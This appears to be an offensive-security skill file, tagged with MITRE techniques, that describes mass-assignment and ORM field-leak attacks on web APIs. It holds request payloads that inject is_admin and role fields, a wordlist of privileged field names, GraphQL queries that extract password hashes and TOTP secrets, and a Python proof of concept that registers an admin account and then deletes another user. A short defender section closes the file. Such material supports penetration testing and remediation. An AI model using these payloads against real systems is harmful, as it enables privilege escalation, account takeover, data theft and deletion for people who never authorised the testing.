| name | mass-assignment |
| description | Mass assignment + ORM leak — inject extra fields into create/update requests, escalate to admin, leak protected fields via response. |
| metadata | {"when_to_use":"mass assignment orm leak strong params permit attributes role is_admin","mitre_attack":"T1190, T1078","subdomain":"authorization","upstream_ref":"skills/_corpus/payloads/Mass Assignment/"} |
Mass Assignment + ORM Leak
API endpoints that bind request JSON straight to model update() /
create() without an allowlist can be coerced into setting admin
fields (is_admin, role, verified, etc).
1. Detect
PATCH /api/users/me
{"name": "Alice"}
PATCH /api/users/me
{"name": "Alice", "is_admin": true, "role": "admin", "verified": true,
"balance": 999999, "permissions": ["*"], "isStaff": true,
"membership_level": "premium", "tier": "enterprise"}
Re-fetch own profile. If any of the injected fields persists with
attacker-set value → mass assignment.
2. Common field names to try
is_admin isAdmin admin superuser is_staff isStaff staff
role roles permission permissions scope scopes group groups
verified email_verified isVerified approved banned is_banned
balance credits points reputation
tier membership_level plan subscription
created_at email user_id uuid external_id organization_id
password password_hash
3. Framework-specific patterns
Rails (legacy, pre-strong-params)
User.create(params[:user]) → all params mass-assigned. Rails 4+ enforces
params.require(:user).permit(:name, :email). If permit list is too broad,
mass assignment.
Django REST Framework
UserSerializer(instance, data=request.data, partial=True).save() → all
declared fields settable. Bug: developer adds is_staff to serializer
fields by mistake.
Express / Mongoose
User.findOneAndUpdate({_id: req.params.id}, req.body)
Spring Boot
@RequestBody User u → Jackson binds all settable properties. If User
has setter for role, attacker can set it.
Go / Echo / Gin
c.Bind(&user) → same pattern.
4. ORM Leak — the response side
Sometimes the response serializer leaks fields the request can't set:
GET /api/users/123
{
"id": 123,
"name": "Alice",
"email": "alice@target.com",
"password_hash": "$2a$12$...", ← leak!
"totp_secret": "JBSW...", ← leak!
"stripe_customer_id": "cus_...",
"internal_notes": "VIP customer"
}
Or via GraphQL field expansion:
query { user(id: 123) { id name email passwordHash totpSecret } }
5. Tools
- Burp Intruder w/ wordlist of common privileged field names
- Manual exploration in dev tools — note ALL fields the app sees, try setting each
6. PoC
import requests
r = requests.post(f"{TARGET}/register", json={
"username": "attacker",
"password": "test123",
"is_admin": True,
"role": "admin",
})
sess = requests.Session()
sess.post(f"{TARGET}/login", json={"username": "attacker", "password": "test123"})
me = sess.get(f"{TARGET}/api/users/me").json()
assert me.get("is_admin") == True
sess.delete(f"{TARGET}/api/users/2")
7. Severity
| Bug | Severity |
|---|
Mass assignment to is_admin / role | Critical 9.8 |
Mass assignment to balance / credits | Critical 9.0 |
Mass assignment to email_verified | High 7-8 (chains to ATO) |
| ORM leak of password_hash | Critical 9.8 |
| ORM leak of TOTP secret | Critical 9.8 |
| ORM leak of internal notes / PII | High 7-8 |
8. Defender
class UserSerializer(serializers.ModelSerializer):
class Meta:
model = User
fields = ['name', 'email']
read_only_fields = ['id', 'created_at', 'is_admin', 'role']
def user_params
params.require(:user).permit(:name, :email)
end
Cross-references
- Upstream catalog:
skills/_corpus/payloads/Mass Assignment/ + ORM Leak/
- API misconfig:
skills/exploit/web/methodology/ (when added)
Known exemplars
- GitHub 2012: Egor Homakov's classic Rails mass-assignment → set someone else as repo collaborator. Cost: company crisis, paper.
- Multiple Shopify / Atlassian / GitLab bounties for missing strong params
- 2023 GraphQL mass-introspection-leak campaigns